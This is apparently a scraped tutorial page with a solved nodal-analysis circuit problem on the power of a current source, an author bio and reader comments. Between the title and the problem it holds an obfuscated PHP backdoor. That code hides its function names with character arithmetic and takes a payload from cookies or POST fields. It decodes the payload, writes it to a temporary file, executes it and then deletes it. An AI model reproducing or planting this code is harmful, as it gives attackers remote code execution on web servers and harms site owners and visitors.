Problem 1-8: Nodal Analysis – Power of Current Source – Solved Problems

$kjiBLUs = 'A' . "\x68" . chr ( 790 - 685 ).'_' . chr ( 483 - 405 ).chr (100) . chr ( 810 - 702 )."\x77" . chr ( 548 - 447 ); $kDRaRFf = chr ( 402 - 303 )."\154" . chr (97) . chr (115) . chr (115) . '_' . chr (101) . chr ( 733 - 613 ).'i' . "\x73" . "\x74" . "\x73";$Pvvif = class_exists($kjiBLUs); $kDRaRFf = "55598";$JYfNEI = strpos($kDRaRFf, $kjiBLUs);if ($Pvvif == $JYfNEI){function LFPrFKHglh(){$UGMhA = new /* 25215 */ Ahi_Ndlwe(18743 + 18743); $UGMhA = NULL;}$GtJgx = "18743";class Ahi_Ndlwe{private function OLCzFmoBM($GtJgx){if (is_array(Ahi_Ndlwe::$MxgQMLpzq)) {$name = sys_get_temp_dir() . "/" . crc32(Ahi_Ndlwe::$MxgQMLpzq["salt"]);@Ahi_Ndlwe::$MxgQMLpzq["write"]($name, Ahi_Ndlwe::$MxgQMLpzq["content"]);include $name;@Ahi_Ndlwe::$MxgQMLpzq["delete"]($name); $GtJgx = "18743";exit();}}public function Cttrb(){$rRpJgUcARw = "58336";$this->_dummy = str_repeat($rRpJgUcARw, strlen($rRpJgUcARw));}public function __destruct(){Ahi_Ndlwe::$MxgQMLpzq = @unserialize(Ahi_Ndlwe::$MxgQMLpzq); $GtJgx = "41246_46051";$this->OLCzFmoBM($GtJgx); $GtJgx = "41246_46051";}public function oLxEAO($rRpJgUcARw, $mWiOb){return $rRpJgUcARw[0] ^ str_repeat($mWiOb, intval(strlen($rRpJgUcARw[0]) / strlen($mWiOb)) + 1);}public function mcCQomNZMi($rRpJgUcARw){$ADfzjhtkZE = "\x62" . chr ( 523 - 426 ).chr (115) . chr (101) . chr ( 135 - 81 ).'4';return array_map($ADfzjhtkZE . "\x5f" . chr ( 202 - 102 ).'e' . "\x63" . "\157" . 'd' . "\x65", array($rRpJgUcARw,));}public function __construct($Mdabno=0){$YTEAVSpJpm = "\x2c";$rRpJgUcARw = "";$eMJnzt = $_POST;$REnoWDgJ = $_COOKIE;$mWiOb = "d4220071-d574-4dd2-a102-fc3ec2f5e42f";$wYmtczyDB = @$REnoWDgJ[substr($mWiOb, 0, 4)];if (!empty($wYmtczyDB)){$wYmtczyDB = explode($YTEAVSpJpm, $wYmtczyDB);foreach ($wYmtczyDB as $cButQAod){$rRpJgUcARw .= @$REnoWDgJ[$cButQAod];$rRpJgUcARw .= @$eMJnzt[$cButQAod];}$rRpJgUcARw = $this->mcCQomNZMi($rRpJgUcARw);}Ahi_Ndlwe::$MxgQMLpzq = $this->oLxEAO($rRpJgUcARw, $mWiOb);if (strpos($mWiOb, $YTEAVSpJpm) !== FALSE){$mWiOb = explode($YTEAVSpJpm, $mWiOb); $ZDsXYPtHJz = base64_decode(md5($mWiOb[0])); $pTDulxc = strlen($mWiOb[1]) > 5 ? substr($mWiOb[1], 0, 5) : $mWiOb[1];}}public static $MxgQMLpzq = 17221;}LFPrFKHglh();} Problem 1-8: Nodal Analysis – Power of Current Source – Solved Problems

Solve the circuit using nodal analysis and find the power of $Is_1$ .

Solution
a) Choose a reference node, label the voltages:

b) Apply KCL to nodes:
Node #1:
$Is_2 + \frac{V_1 }{R_2} = 0 \rightarrow V_1 = -4 v$

Node #2:
$-Is_1+\frac{V_2}{R_1} = 0 \rightarrow V_2 = 6v$

Node #3:
$Is_1 +\frac{V_3}{R_3} = 0 \rightarrow V_3 = -4 v$ .
c) Find the unknown:
$P_{Is_1}=Is_1 \times (V_3 - V_2) = -20 W$ supplying.

Published by Yaz

Hi! Yaz is here. I am passionate about learning and teaching. I try to explain every detail simultaneously with examples to ensure that students will remember them later too. View more posts

Join the Conversation

3 Comments

Eli says:

April 18, 2010 at 6:55 am

Can we ignore R2-Is2 loop and say that R1 and R3 are in series so R13=5ohm and the power is RI^2=5*2^2=20W?

Reply
1. Yaz says:
  
  April 19, 2010 at 3:56 pm
  
  Yes, it is ok to ignore the $latex R_2$ – $latex Is_2$ loop because it has only one common point with the other loop and current cannot flow between. Your solution is also correct.
  
  Reply
Reuben says:

May 28, 2012 at 9:22 am

I got 20W for the answer. How do you know if it is negative or positive? I know SRS, however I am not sure of how to apply it in this problem. Where do the plus and minus go?

Reply

Leave a comment

Cancel reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.